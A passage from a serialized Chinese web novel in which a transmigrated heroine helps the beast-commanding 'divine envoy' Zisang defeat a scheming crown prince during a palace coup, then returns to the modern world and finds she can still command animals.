说罢拿起武器冲向前要保护众人。
他虽有些功夫,然而一己之力寡不敌众,最终被一枪挑起,砸落在水缸中。
何附子不可置信地望着水缸中蔓延的血色,那小士兵苍白的脸浮在水面上,像是坟前飘落的阴白纸钱。
“小兄弟”
未等她哀痛,敌军已经发现了她,长枪一甩血珠,满脸戾气大步朝她走来。
何附子朝后退去,在那人长枪举起的一瞬,猛然将袖子中的金创药粉洒向他们面门。
那人未有防备被糊了一脸药粉,迷眼之际何附子趁机绕过他朝外跑去,却被另一个靠近宫门的人拦住了去路摔倒在地。
此时那迷眼的壮汉已经抹去眼上的污迹,眼中满是被戏耍的怒意,提起长枪朝何附子大步走来:“这个女人留给我!”
眼看他再次高举起长枪朝她刺来,何附子紧贴墙角已无退路。
然而意料中的疼痛并未袭来。
“嚓——!”
一声尖锐的兵器摩擦的响声撕裂入耳,宋承嵘一剑了结了敌军,拉住何附子护在身后。
“跟我走!”
两人匆匆离开之际,正看到先前在宫女簇拥下逃出来的太子妃。
长廊另一端便是听到声响赶来的敌军,太子妃见到宋承嵘,双眼发亮,在宫女的护拥下朝这边赶来。
“太子殿下,太子殿下!臣妾在这里,太子殿下!”
何附子连忙道:“是太子妃!”
宋承嵘显然也听到了呼喊,他顿了顿却并未回头,而是继续紧拉着何附子朝前疾步前去,让人封死了身后宫道的朱门。
朱门里,是太子妃愕然的双眼。
何附子难以置信的望向他:“你在做什么?太子妃还在里面!”
周遭的禁卫军已经点燃了沾着油料的箭羽,拉弓上弦。
宋承嵘面色冷峻:“封死朱荣道,就能将绝大多数赶来支援的叛军阻隔在外,只要杀了汝南王,我们就赢了。”
虽然汝南王的夜袭打了他个措手不及,但毕竟为了掩人耳目,汝南王所带军队并不算多。虽各个都是军中好手,但寡不敌众,他在帝都养精蓄锐多年,此番尽数而出,又能以太子之名调动黑甲军,很快便逆转了局势。
何附子问道:“那太子妃呢?”
宋承嵘的声音愈加冷静,冷静到让人感到无尽疯狂执拗,还有残忍:“太子妃死于乱军围剿,孤会给她厚葬。”
“你疯了,你疯了!”
何附子听到这话睁大双眼疯狂捶打他,竭力想要挣脱他的桎梏:“你明明可以救她!为什么要这样!为什么要这样!她是你的妻子啊!”
“这是最好的结果!”
宋承嵘低吼道,“这样我们之间才不再有任何隔阂!放箭!”
随着他的一声令下,箭雨齐飞,如同火流星划破天际落入宫墙内。
朱门外惨叫声此起彼伏,焦火和血腥味混杂着火光飘入肺腑。
何附子怔怔地看着眼前这个曾今同床共枕过的男人,突然苍白一笑,像是看透了他的虚伪:“不,你根本就不是为了我,那只是你自以为情深的借口。你是为了他日不再被外戚桎梏,你是为了你自己!”
宋承嵘按住她的肩膀:“不是的,我是为了你,我是为了我们!”
“没有我们!”
何附子望着他执拗的双眼,冷声道,“不会有我们。”
“附子”
“宋承嵘,你该清醒了。从你离开镇子的那天起,就不再有我们了。”
“报——汝南王军正朝崇化宫外逃!”
宋承嵘听到军情,不容置疑地抓住何附子的手朝崇化宫赶去:“追!务必将汝南王这个逆臣留下!”
第116章
“撤!快撤!”
不同一个时辰前进宫时的意气风发,如今的汝南王披头散发,满身血污,仓皇想要向宫门外撤去。
然而崇化门外早已聚集了大量禁卫军,黑甲军亦及时赶到,将他犹如瓮中之鳖团团包围。
黑甲军让开一道,宋承嵘从中走出,望向溃散的残军。
“汝南王,你以下犯上,意图谋逆,其罪当诛!你可还有什么遗言未了?”
汝南王冷笑一声:“我意图谋逆?谋逆的不是你吗太子殿下?”
宋承嵘冷声道:“事实摆在眼前你还想狡辩?串通城防军大开城门,夜袭帝都,杀害圣上,意图谋朝篡位,害得百姓民不聊生,今日便是你的死期!”
汝南王大笑:“胜者为王败
者为寇!今日我输了,要杀要剐随你便,但你这小儿也别高兴得太早!若说我谋朝篡位有违天理,那你弑父杀君,同样天道不容!我便是在阴曹地府也会看着你的下场!”
宋承嵘漠然听着他的诅咒,抬起手,只待一声令下箭雨齐飞。
就在这时,一道诡谲笛声透过层层城墙飘然传入众人耳中。
原本执箭拉弓的士兵如同提线傀儡般放下手中弓箭。
宋承嵘听到这诡异的笛声,猛然睁大双眼,难以置信地朝笛声处望去。
怎么可能,那人应当已经死了才对!
那笛声愈来愈近,而后突然急转劈了叉,抖了几抖,那些士兵目光骤然清醒,茫然无措的望向四周。
在众人惊愕的目光中,巨大的仙鹤骤然飞过城墙,落在钟楼顶端。
赵玉屿捏着笛子叹了口气,果然以她的能力操作人的精神还是极其吃力,更何况这么多人。
能坚持几秒钟,自己已经很厉害了呀!
不过这种活儿还是得子桑来才对劲。
想到子桑若是在这,必定得露出终极反派大boss的笑容,轻描淡写放出几句极其猖狂的狠话,将对方气得半死再一招制敌。
赵玉屿忍不住笑了笑,嗯,确实很爽。
“是你?”
宋承嵘眯起双眼,望着月光下高挑的身影。
他记得这是神使身边最受宠爱的小婢女,似乎在内殿选拔之后,就一直将她带在身边,甚至生辰当日带着她一起花车游街。
没想到,那个刻薄寡情的神棍居然连这妖邪之术都传给她了吗?
不过看她的样子,也并未完全掌握这邪术,不成威胁。
宋承嵘当机立断,一挥手。
领头的禁卫军会意,高声喊道:“放箭!”
在他话音未落口时,一道橙黄色的矫健身影已在月光下越过众人朝他飞扑而去,震天虎啸响彻宫墙甚至将那人凄厉的嘶喊掩埋住。
一切只发生在迅风电雨之间,等到众人意识到发生了什么时,那禁卫军头领的脖子已经被咬断,头颅被强大的咬合力撕扯甩出,落在众人面前。
压在那尸身上回首的,是一只黑白花纹相间的充斥着戾气和暴虐,张开血盆大口、獠牙尽现的竖瞳吊眼巨虎。
“是,是老虎!”
“怎么会有老虎!”
“老虎背上有人,有人!”
众人原是被猝不及防的虎袭惊愕到,而后才注意到虎背上端坐一人。
少年身材,金冠高束,一身金缕赤白羽衣飘然若仙,墨黑的马尾随着虎背起伏微微荡起,月光下露出一张莹莹如玉的清俊面容。
众人纷纷慌不择路的朝后躲闪,抖着武器对准那种立于人圈中的人虎。
那老虎面对武器并不慌张,不紧不慢的走了几步,像是在巡视自己的领地。
宋承嵘望着虎背上的少年瞳孔猛缩,原本胜券在握的心态被彻底击碎。
“你怎么会在这里?!”
子桑居高临下望着他,轻笑一声,却极尽刻薄讥讽:“怎么,筹谋多年机关算尽徒落得一场空,是不是忽然觉得自己可怜可笑可叹啊~”
宋承嵘咬牙冷笑:“现在说这话,为时太早了吧。”
那汝南王却已跪倒在虎爪之下,狂喜道:“神使大人在上,只要神使大人助我登基,日后本王必定尊神使大人为国神,立碑建庙,香火绵延!”
天无绝人之路,天无绝人之路啊!
只要神使站在他这边,那他就还有一线生机!
子桑听着他的恭维,却不以为意,口哨悠悠,下一秒,虎爪已经猛然拍在汝南王的背上,将他碾进尘土。
汝南王一口鲜血喷涌而出,难以置信地望向虎背上的少年。
子桑不屑道:“轮得到你来提条件。”
见汝南王就这么死了,残军顿时惊慌一片,纷纷放下武器投降。
宋承嵘却并未打算放过所有人。
他一挥手,众人将子桑团团包围,密不透风。
“如今皇宫之中皆是孤的人,你不过有一只老虎,畜生而已,还想翻出天吗?”
子桑却笑得疏懒又嘲弄:“军队而已,你以为只有你有吗?”
宋承嵘却不相信,子桑便是再厉害,也绝不可能在帝都圈养军队!
然而下一秒,老虎仰头长啸。
虎啸的穿透力震得心脏激荡,随着这声咆哮,大地似乎在震动。
一声又一声,犹如千军万马飞驰,以铺天盖地之势席卷而来。
有人望向宫外乌泱泱涌来的黑潮,颤抖着声音问道:“那,那是什么”
那团黑潮巨大无比、遮天蔽日,裹杂着点点幽光,像是争先恐后呼啸而至的鬼魅军团。
在宫墙上的守将已经仓皇高喊道:“快关宫门,快关宫门!”
原本一心抵御汝南王军的守卫听到这话,连忙将半掩的宫门合上。
然而刚合上的城门在撞击声中不堪一击,很快就被冲破,那团黑潮瞬间穿过宫门缝隙喷涌而入,无数只乌鸦嘶哑着冲进皇宫将众人包围住。
随之而来的是挥舞着肥厚兽爪撞开宫门的黑熊、从众人头上一跃而入的花豹,一身钢刺横冲直撞的野猪、秩序井然的狼群、甚至还有骑在骏马身上挥舞着兵器的红脸猩猩
一时之间,惨烈的尖声哀嚎声四起。
“放箭!放箭!”
宋承嵘喊道,然而乌鸦扰乱遮挡住视线,尖锐的利爪撕破眼角,根本看不清方向。
一时之间箭雨乱飞,寒光四散。
血腥味刺激着野兽的嗅觉,嗜血的兽性被彻底激发。
虎啸之下,是狼群的对月长嚎,花豹的低吼,野猪朝着人群突刺,身上的钢刺犹如厚重的盾牌挡住了刀刃,低头将逃跑的士兵扎了个对穿。
狼群撕咬纠缠住着黑甲军的四肢,黑熊一掌便将人拍了个稀巴烂。
猴大站在马背上,穿着一套威风凛凛的齐天大圣装,手持长矛怪叫着四处补刀。
士兵们从未见过这种军队,猝不及防间被兽群冲散,一时之间乱作一团,只一味逃跑,溃不成军。
四处都是鲜血和残肢,四处都是哀嚎和惨叫。
宋承嵘被身边的禁卫军护着向后撤去,他见军队溃散,竟无一人能敌,顿时双目赤红,咬牙望着乱群中神态自若的少年,一把推开旁边的护卫,抢过他手中的弓箭拉弓上弦当机立断向子桑射去。
与此同时,鹤鸣声起,小白从天而降抓起宋承嵘的衣襟猛然提起。
宋承嵘躲闪不及,手中箭羽射偏。
赵玉屿见他没射中,猛然松了一口气。
她知道大结局子桑是被万箭穿心而死,所以坚持在兽群中加入乌鸦扰乱弓箭手的视线,自己则一直站在楼顶暗中观察着宋承嵘的动向。
果不其然,宋承嵘如剧情那般想要用弓箭射杀子桑,好在她早有提防,让小白将宋承嵘抓走,这样剧情应该就彻底偏离了。
等到战事结束,宋承嵘也无力回天。
没想到,宋承嵘意识到自己被抓飞之后,竟然直接扔下长弓,一个倒挂金钩抓住鹤爪,抱着小白的长颈硬是翻身上了背脊。
赵玉屿没想到他竟然能上来,错愕片刻就立刻扬笛想要指挥小白翻旋将他甩下,没想到宋承嵘先一步猛然扑向她,掐住她的喉咙按倒,将她手中的骨笛甩出。
他面色铁青,狠掐住赵玉屿的脖颈阴沉道:“你一个小小婢女,也敢来挡孤的道!”
赵玉屿感到呼吸逐渐困难,求生的本能让她挣扎着想要挣脱宋承嵘的桎梏,但实力的差别让她毫无反手之力。
她的意识模糊,像是回到了那天海难时的水下。
四周一片黑洞洞,没有声音,没有氧气,没有光亮,意识逐渐沉重,像是要沉入海底
忽然,身上的压迫猛然一松,犹如浮出海面的一瞬,她猛然张大嘴大口大口地喘着气,捂着脖子干咳。
视线逐渐清晰,是子桑。
子桑一直关注着赵玉屿,见形势不妙,立刻
驱虎跃上城墙追上他们,一边以吹叶操纵小白,而后一跃而上,艰难爬上了鹤背。
见宋承嵘掐住赵玉屿的脖子,他一把抓住宋承嵘的衣领将他从赵玉屿身上扯下,抽出匕首朝他心脏捅了一刀。
宋承嵘眼疾手快堪堪躲闪过,手臂却被划了一刀,见来人竟然是子桑,顿时双目充血,怨毒地望向他。
“你这个混账畜生!”
子桑冷笑反讽:“弑父杀君,你我不逞多让。”
宋承嵘偏眼望向身旁倒地的赵玉屿,忽然了然嘲笑道:“看来你很重视这个婢女。”
他抓起赵玉屿的胳膊将她领起,一脚挑起方才打斗中遗落的匕首,抵在赵玉屿脖间道:“让兽潮褪去,从这里跳下去自行了断,否则我就杀了她!”
他手近一分,匕首划破赵玉屿脖颈的肌肤,渗出几滴鲜血。
子桑瞳孔猛缩,厉声道:“住手!”
“按照孤的话做!”
不行,如果宋承嵘赢了,一切就都完了。
赵玉屿哑着嗓子艰难道:“子桑,别信他。他那么恨你,怎么可能信守诺言。”
“住口!当真以为我不敢杀你吗!”
宋承嵘的手又近一分,豆大的血珠顺着伤口滴落:“我既已失败,结局自然可想而知。大不了大家同归于尽!”
子桑死死盯着宋承嵘的手,想要张口却被宋承嵘看穿。
“孤的手一抖,这婢女的脖子可就保不住了。这半空之中可没有你的兽群,你大可以操作鸟群攻击孤,不过看看到底是你的动作快,还是孤的动作快!”
寒风猎猎,小白绕着皇宫上方盘旋。
鲜血不断地从赵玉屿的脖子上流淌而下,看来这宋承嵘是抱着必死的决心。
赵玉屿面色苍白如纸,身上的衣服被血色渐渐染红。
她头一次从子桑眼中看到了焦灼、恐惧和无助。
他毫不犹豫的答应:“我答应你!放了她!”
而后捏起袖中的树叶吹响曲调。
诡谲的曲调响起,原本奋勇作战的兽潮动了动耳朵,似乎有些疑惑地望向天空的指示,而后缓缓退去,不一会儿就消失在帝都之外的黑暗中。
宋承嵘见兽潮褪去,仰头哈哈大笑:“没想到世人眼中无所不能的神使居然栽在了一个女人身上。好好好,既然你这么在意她,那就跳下去吧。放心,我必定会好好待她。”
不,不行。
望着死死盯着自己森然决绝的子桑,赵玉屿心中一震。
她清晰的意识到,子桑真的会跳。
他真的会跳下去!
不行,再这么下去,一切就都搞砸了!
第117章
不行,再这么下去,一切就都搞砸了!
赵玉屿在脑海中唤出系统。
【系统,快出来!】
【滴——尊敬的宿主,许久不见,请问您有什么需求?】
【许久不见你妹!现在这情形你能不知道?!快点,帮我!】
【宿主您好,按照规定,系统不能为宿主提供格外需求。】
【得了,都知根知底的了你还在这跟我装!好不容易打到最后大结局,你跟我说没有办法?你别想糊弄我,快点!不然剧情重新开始,你们确定下次有人能顺利到大结局?】
【宿主,系统的一切都是按照程序运转,的确不能为您提供格外帮助。不过,您之前的奖励中一样名为“重塑”的任务道具,可以申请重新领取异样之前拥有过的任务奖励。】
之前的任务奖励?
情况紧急,赵玉屿也顾不得这么多了。
【星云雾!】
她猛然从袖中挥洒出星云雾,宋承嵘见她反抗,手腕一紧便要将匕首彻底送入她脖间,却似乎听到了一声柔情似水的呼喊。
“夫君。”
他愣住,低头望向怀中桎梏的对象,竟然是何附子。
“附子,你怎么在这里?”
赵玉屿在他分身之际趁机从他的钳制中逃脱。
“附子,你要去哪?危险!”
宋承嵘想要抓住她,赵玉屿已经扑入了子桑的怀中。
随着一声尖锐的哨声响起,小白猛然俯冲。
三人因巨大的惯性纷纷跌倒在羽毛之中,等到小白落地,灰尘四起,子桑扶着护在身下的赵玉屿起身,从小白身上跳落在地。
“咳咳咳”
宋承嵘被小白甩在地上,捂着胳膊跌跌撞撞站起来。
星云雾迷了他的眼,他望着眼前相依在一起的赵玉屿和子桑,入眼的却是何附子和裴元若。
“附子回来”
赵玉屿冷声道:“宋承嵘,凭你做的那些事,如何以为何姐姐还会回到你身边?”
眼前朦胧的云雾散去,何附子的模样逐渐消散,变成了赵玉屿的身影,宋承嵘咬牙道:“你这妖女,对孤使得什么妖术!”
赵玉屿却并未回答他,而是仰头望了望月亮道:“时辰差不多了,宋承嵘,你输了,束手就擒吧。”
“输了?”
凌乱的脚步声四起,宋承嵘看着赶来的禁卫军仰头大笑:“这里是皇宫,到处都是孤的人,就算你们再召唤兽潮也来不及!”
他捡起地上散落的长刀,刀锋直指子桑:“就凭你们也想打败孤!”
说罢他拎起长刀直冲子桑而去,然而还未迈步便感到浑身发麻,力气仿佛抽丝剥茧般从体内钻出。
宋承嵘不可置信,又咬牙向前走了两步,脚步却越来越沉,最终撑刀在地,堪堪支撑住身子大口大口喘气。
那股麻意从脚底逐渐上延,像是缠绕在枯树上的毒蛇,一点一点将他的力气吸收殆尽,最终,连心脏都在发麻。
无法掌控身体令宋承嵘陷入无尽的恐惧:“怎,怎么回事?”
子桑嗤笑道:“你心爱的女人看来可没选择跟你站在一边。”
宋承嵘瞪大双眼,低头望向右手缠绕着手帕的伤口。
是那时候,
是那瓶金疮药。
是
“附子”
鼻尖又传来熟悉的药香味,宋承嵘竭力转头望去,看到从禁卫军中缓缓走出的何附子。
他苦涩道:“为什么?”
何附子目光平静:“我叫何附子,附子虽可入药,但生附子却有剧毒。我们认识第一天时我便告诉过你,宋承嵘,是你忘了。”
一滴雨从昏黑的天心滴落,染湿了灰扑扑的青石砖。
而后,丝丝绵绵的雨线落下,像是为这场荒唐的结局奏响终章。
宋承嵘用尽最后的力气,撑着长刀一步一步朝何附子走去,跌跌撞撞的每一步,像是他曾今的挣扎。
最终,他倒在了地上,距离何附子一步之遥,再未起来。
他无神的目光空洞的望向砸落在地的雨珠,在生命的最后一刻,忽然想起了五年前的那场雨。
那时也是这般,雨水打湿在他苍白的脸上,满身泥泞的宋承嵘被义诊结束时路过的何附子捡起。
只是这次,再也没有一把油纸伞为他挡去风雨。
*
四周的禁卫军原本持刀以待,但望向忽然倒地没了声息的宋承嵘却顿时没了主意。
何附子静静望向宋承嵘良久,蹲下身子,伸手将他空洞的双眼合起。
赵玉屿松了口气:“结束了吗?”
【滴——恭喜宿主完成主线任务“雀飞笼中”;当前隐藏支线任务已完成99%,现可用道具“离离草”开启最后的支线任务,请问宿主是否启用隐藏道具离离草?】
离离草?
这还是最开始新手大礼包里的道具吧,她都快把这个道具给忘了。
都到了这一步了,自然是要开启的。毕竟只有完成了隐藏支线任务才能合成回心丹救子桑。
【开启。】
【滴——宿主已开启隐藏支线任务“最后的离别”。任务完成时限1个时辰,完成任务将获得道具“不了情”合成回心丹,现在开启倒计时。】
什么?
赵玉屿还未反应过来,忽然感到脖间微凉,她摸了
摸脖颈,手掌沾染上一丝血迹。
尚未完全凝血的伤口渗出些血珠,浓黑如墨。
那把匕首有毒?
不,不对,先前血液明明不是黑色。
是系统。
赵玉屿想到系统方才说的限时任务,“最后的离别”,获得的道具是“不了情”。
情。
按照之前合成回心丹所需的道具来看,第一个合成道具“无尘枝”是“体”;第二个合成道具“神子的魂魄”是子桑岐的“魂”,按照这个逻辑想要造出一个完整的可以骗过天道的身体,还需要的就是属于人的“情”。
“不了情”
所以,最后需要的是她对子桑的感情?
那这个限时任务是在给她时间告别。
1个时辰,赵玉屿望向黑夜,仰头长叹了一口气,正好可以去看日出了。
子桑搂住她的腰:“是结束了,先去给你疗伤。”
“没事,小伤,都已经不流血了。”
赵玉屿撕下衣袖缠绕住脖颈,免得被子桑发现异样,朝他轻松笑道:“终于解决宋承嵘这个大混蛋了,现在一身轻松啊!天也快亮了,我想去看日出,子桑,我们去摘星楼顶吧!那里视线最好,能看到整个帝都的风景。”
子桑自然依她,弯起眉眼柔声道:“好。”
*
长风吹起,空气中飘荡着焦糊和灰烟。
摘星楼被烧了一夜,原本如天上宫阙的奢华装饰早已在烧灼中成为焦土,只剩下一副空荡荡黑黝黝的楼架子。
赵玉屿大咧咧坐在他们平日里坐着的位置,一荡脚便落下一层黑灰。
她却并不在意,撑着双臂望向远方的帝都。
万家灯火早已在破城宫变时熄灭,唯有隐隐的天光勾勒出亭台楼阁的轮廓,朦胧而暧昧,像是秉烛夜观的泼墨画。
“真安静啊。”赵玉屿道。
“这样不好吗?”子桑也学着她的样子撑起双臂松懒地眺望远方,“仿佛世界上只有我们两个。”
赵玉屿听到这话鼻子有些酸,揉了揉眼睛。
子桑以为她困了:“劳累了一夜,身上也脏了,先回去泡个澡休息一番,剩下的残局有我在呢,不用担心。”
“嗯,我知道。”赵玉屿点点头,“你那么厉害,一定会处理好一切的。”
子桑见她夸自己,有些得意:“那是自然。老头子的几个儿子死的死残的残,也不怕他们掀出什么风浪,从旁支里挑选个怯懦的幼子并非难事,对于百姓来说谁当皇帝都一样,至于朝中的大臣们,只要给足了好处也不怕他们反对。虽然麻烦些,但也不用大动干戈。再者今夜兽潮的威力他们也见到了,只要驭兽术在,他们不敢轻举妄动。”
“至于那个裴元若,私放叛军入都城的确是死罪,明面上将他流放了,再私下找个机会将他放了,让他同何附子浪迹天涯倒也不错。”
“还有那个小蠢货,你既然喜欢她,便不让她同裴元若他们一起流放了,将她留在身边,日后你也有个说话的伴儿。”
子桑难得喋喋不休的说着,赵玉屿便安静的听着,听着他给自己未来的安排,听着他将自己牵挂的事情一一解决。
而后,她抱着膝盖缓缓道:“子桑,你还记得我先前同你说过,我不是赵玉吗?”
子桑颔首:“记得,那又如何。大千世界无奇不有,你是玉儿就够了。”
赵玉屿望着天地一线见初升的旭日:“我刚来到这个世界的时候,就是跟你初见的那一天。一开始,我以为我是来拯救你的。可是后来我发现,没有谁真正的能拯救谁。□□受到的伤害可以恢复,但心里的伤只能靠自己疗愈。我能做的就是那日将你带出雪山。”
她扭头望向子桑笑道,“子桑,能救你的从来只有你自己,所以好好去感受这个世界吧。如果哪天想我,就看看月亮,我们那里有一句诗,叫’但愿人长久,千里共婵娟’。只要月亮在,我就在。”
子桑听着她的话,原本惬意的神情逐渐凝重:“玉儿,你在说什么?”
毒素渐渐蔓延,赵玉屿觉得有些胸闷,她长吸了一口气,接着道:“我没事,我只是离家太久了该回去了。担心你会难过,所以想跟你好好告个别。”
子桑按住她的胳膊不解道:“什么回去?回哪去?!”
“我不是说了嘛,我来这里就是为了帮你。”赵玉屿笑了笑,胸口的窒息感愈加得重。
“你放心,你身上的诅咒已经解开,你自由了,可以平平安安的活过二十岁,活完这一辈子。好好活下去,去看看这个世界,这是子桑岐的心愿,也是我的心愿。这不,这不也是你的心愿吗?”
她身子微晃,子桑连忙将她搂在怀里:“玉儿你怎么了?”
脖间缠绕的布料渐渐渗出浓重的黑血,子桑瞳孔猛缩,双手颤抖地抱起她就要离开。
“我带你去疗伤!”
赵玉屿却按住他:“没用的。这个毒不是匕首上的,甚至不是这个世界的。你救不了我,也不用救我,我不是说了吗,这具身体本就不是我的,我只是要回去了。”
“不,不行!我不答应,我不答应!”
子桑唤来小白,抱起她跳上鹤背朝炼丹殿飞去,“那么多的丹药,总有一种能救你!”
霞云微浓,夜幕渐渐明朗,赵玉屿靠在子桑的怀里,心里却异样的宁静。
她抬眸望向子桑,少年人的面容依旧清俊,平日里黑不见底的眼眸此时被一团水雾朦住,眼尾的红意愈浓,死死盯着前方像是拼尽全力在与命运抗争。
赵玉屿伸出手,轻柔抚上他的面容,缓缓道:“答应我,不要为了我向任何人屈服。我会等着你,等你找到自己的那天,再来找我。”
【滴——恭喜宿主,攻略对象好感度达100%。】
【获得稀有道具“不了情”,宿主已集齐“无尘枝”“神子的魂魄”“不了情”三件稀有道具,自动合成回心丹。】
【宿主已完成隐藏支线任务“仙鹤永存”。】
【恭喜宿主,您可以回家了。】
【全文完结】
第118章
好刺眼。
赵玉屿缓缓睁开双眼,头顶的白炽灯光像是刺入脑袋的一把尖刀,让她头痛欲裂。
她阖起眼睛,缓了缓再次睁开时,一旁例行检查的小护士笑道。
“你醒了。”
赵玉屿撑起身子,揉了揉肚子,觉得浑身无力,胃里有些不舒服。
“我怎么在医院啊?”
“你食物中毒了,好在你朋友将你送过来,现在已经没事了,吊完水没什么问题等医生看过,下午就可以出院了。”
正说着,一个粉头发双马尾女孩走进了病房,拎着饭盒欣喜道:“玉玉,我的天你可算是醒了。真有你的,还没开学就吃小龙虾吃到食物中毒进医院,好在我去你家找你发现你倒地不起的惨状,不然你就真一命呜呼了!你是不知道,你那昏死过去的样子多吓人。”
“欢欢?”
于欢竹掐了掐她的脸蛋:“是我啊,怎么了,小龙虾还附带遗忘debuff吗?”
“唔。”痛意传来,赵玉屿才意识到自己好像真的在医院。
回想起大雍的一切,她有些不可置信,难道
那些记忆其实是她吃小龙虾中毒时产生的幻觉?
好像是有毒素致幻的说法,可是那些场景也太过真实了吧。
她一时分不清现实和虚幻,忽然想起一切的开始,抓住于欢竹的手急切道:“欢欢,你带手机了吗?”
“当然带了啊。”
“借我。”
于欢竹掏出手机:“哦,你要给阿姨打电话吗?她守了你一夜刚被我劝回去休息。”
赵玉屿拿过手机,找到小说APP,首页推送就是《囚医》。
下面的评论已经炸翻了天。
【太好了,这个结局我可太满意了!我的宝贝女鹅就该毒死渣男!跟男二幸福美满!】
【耶耶~渣男死咯,活该!】
【太子妃是无辜的,为什么要写死太子妃?不能给太子妃一个好结局吗?作者真是太让人失望了。】
【楼上的是不是要求太多了,怎么着和和美美包饺子就是好结局吗?】
【为什么要写死太子啊,太子不是男主吗!我一直磕男女主啊!】
【神使的结局呢?怎么就一句话带过了,太草率了吧!】
【这改的面目全非啊。】
【弱弱插一句,只有我在想太太手速无敌吗?一晚上就把全文大修,不愧是大佬。】
全文大修?
赵玉屿正想翻开小说,手中的手机就被抢走。
“我靠姐们你不是吧,刚从生死边缘醒过来就看小说,你魔怔了吧?”
于欢竹抢回手机,“要是让阿姨知道非骂死你不可。不准看了,先吃饭。”
见赵玉屿想抢手机,于欢竹昂头:“你再这样我打电话给阿姨告状啦。”
赵玉屿顿时哑了声,她老妈那个暴脾气她还是清楚的
好在医院床位紧张,像赵玉屿这种小毛病当天下午就出了院。
回到家后,她便迫不及待翻开小说。
果然是修改了很多,几乎每章都改了。
宫宴上,何附子因为与奉仙宫侍女在御花园相遇,意外躲过了与宋承嵘的重逢。
为了躲避宋承嵘想要离开帝都,却深陷渝州城瘟疫,在抚鹤神使的相助下平安解决了瘟疫,也认清了宋承嵘的无情残忍。
然而她最终还是被宋承嵘发现踪迹,囚禁于东宫之中。
潜伏已久的汝南王借机想要策反掌管城防军的裴元若,攻入帝都。
裴元若表面叛变,实则与抚鹤神使联手,借机一举铲除了太子和汝南王。
德仁帝驾崩,原本残疾的三皇子在抚鹤神使的拥护下顺利登基。
新帝仁义,爱民如子,亲事农桑,推行新政,减免赋税徭役,百姓爱之。
至于抚鹤神使,赵玉屿翻遍了全文也没有多少笔墨描写他的结局。
毕竟小说是从何附子的视角叙述,抚鹤神使只是一个着墨不多的男配,结局也只提到他在新帝登基那日,坐在已成焦土的摘星楼顶一天一夜,而后不知所踪。
从此之后,帝都再也看不见群鹤共舞,百鸟齐鸣。
赵玉屿怔怔望着【全文完】三个字良久,脑海中浮现出在奉仙宫的朝朝暮暮。
原来直到最后,这世上也没有人知道他的名字。
只有她知道,他叫子桑鸓。
是那个在瑶山被囚禁八年,困于大火,又重生于大火的子桑鸓。
这一切都是真的,只是她再也回不去了。
她合上手机,躺在床上望着窗外澄亮的圆月许久许久,最终,将脸埋进枕头里。
*
三年的时光转瞬即逝,毕业季总是炎热而充溢着青春情愫的季节。
拍完毕业合照,于欢竹和赵玉屿穿着学士服坐在台阶上拆雪糕吃。
“你真的要去做那什么动物管理员?”
于欢竹难以置信,“你从小的梦想不是做设计师吗?凭你的能力,就算成不了著名设计师,当个大手子也是必须的!”
赵玉屿咬了口雪糕,冰冰凉凉的清甜感充斥口腔,身上的燥热感顿时降了几度:“有时间还会画的,我打算当自由插画师,只是主业是动物管理员而已。”
于欢竹嘟囔道:“真不知道你怎么想的,喜欢小动物家里养几个宠物不就行了,那动物园里脏兮兮臭哄哄,有什么好去的,竟然为了进动物园还特意去考那些乱七八糟的证书。”
赵玉屿笑了笑,也不多解释。
回来以后,她便发现自己似乎有些不同。
无论是路边的野猫野狗,还是动物园里的动物似乎都很亲近她。
赵玉屿尝试着按照记忆吹起笛子,发现当真可以通过笛声操纵动物,便按照记忆做了一把骨笛时刻带在身边。
当动物园里的白鹤乖巧飞到她身边垂下脖颈,将小脑袋放在她掌心轻蹭的那一刻,赵玉屿掌心颤抖,难以言喻的情愫刹那间涌上心头。
这是子桑留给她的礼物,或许也是她未来漫漫人生中唯一的念想。
她正发着怔,于欢竹忽然撞了撞她的肩膀:“哎,你们班班长来了。”
赵玉屿回过神来,顺着她的话抬眼望去,就见一个高高大大的男生走过来,有些羞涩的朝她递了个包装精美的本子。
“玉屿,这是班里给大家准备的毕业礼物,咱们班同学的毕业作品都在上面。”
赵玉屿接过本子笑道:“谢谢啊班长。”
那男生见她嘴角绽放的小梨涡,面色更红了些,挠着脸离开。
赵玉屿打开本子,里面掉出来一份信。
于欢竹瞧见信顿时来了八卦兴致,抢过信打开一看,忽然笑得贱兮兮:“果然!我就说你们班班长喜欢你,你还非不信!不过这都什么年代了,居然写信表白,还真是纯情。”
赵玉屿接过信,上面的字迹一笔一划极其工整,可见写信人的认真。
那字体应当是学的颜真卿的行楷,赵玉屿有些恍惚,想起摘星楼中子桑握住她的手,教她写繁体字时的画面。
那家伙自己写字极其没耐心,大笔一挥狂草乱飞,用他自己的话来说,反正就算他画个王八大雍众人都当个宝。
赵玉屿原以为他的水平也就是马马虎虎的程度,没想到他用心教起字来写得甚是好看,清俊飘逸,倒当真有几分仙人之韵。
“喂,喂,你又发什么呆呢?”
于欢竹咋咋呼呼的声音让她回过神来,赵玉屿才发现自己又不自觉的陷入了回忆之中。
于欢竹叹了口气:“我说你这几年怎么回事,游戏也不玩了,跟你聊明星帅哥你也没兴趣。男生跟你表白你置若罔闻,帅哥暗送秋波纯粹抛给瞎子!你大学四年一场恋爱都没谈,怎么反而天天跟失恋了似的心如死灰?”
赵玉屿:“额,我有吗?”
心如死灰什么的,太过了吧。
她明明有好好生活。
于欢竹点头,伸出两根手指指向眼睛:“是啊是啊,眼里一点世俗的欲望都没有。不知道的还以为你出家了呢。”
赵玉屿摆了摆手:“嗐,那是他们不够帅。”
“不够帅?!”于欢竹瞪眼,“上次表白那表演系帅哥,系草啊,浓眉大眼的一表人才还不够帅?!”
赵玉屿想了想,想不起来那人的模样,含糊道:“我不喜欢那款。”
“那上上次隔壁体院的那个运动系男生,黑皮大帅哥,身高得有一米九了,又高又帅!”
赵玉屿挠了挠脑袋:“那个啊,是挺高,但是太黑了。”
“有白的啊,表演系那秦牧,白白嫩嫩一张美人脸,下颌线比我事业线还清晰,听说已经被演艺公司签约了。”
这人赵玉屿倒记得:“好看是好看,太瘦了,为了上镜瘦得都快脱相了。”
“合着你就没有一个满意的。”于欢竹一摊手,无奈道,“那你喜欢啥样的啊,总得有个方向吧。”
赵玉屿思索着:“要白白净净,高鼻、薄唇、凤眼,长相清俊却不女气,脖子很长,个子很高,抬头就能吻到他的喉结,抱起来腰很细,但胸膛很可靠。他的眼眸长且大,瞳仁格外的黑,如同壁画里雕刻的神仙眼眸,他看着你的时候,像是被吸入深不见底的漩涡,可一笑起来却像春雪融化,桃色染云。”
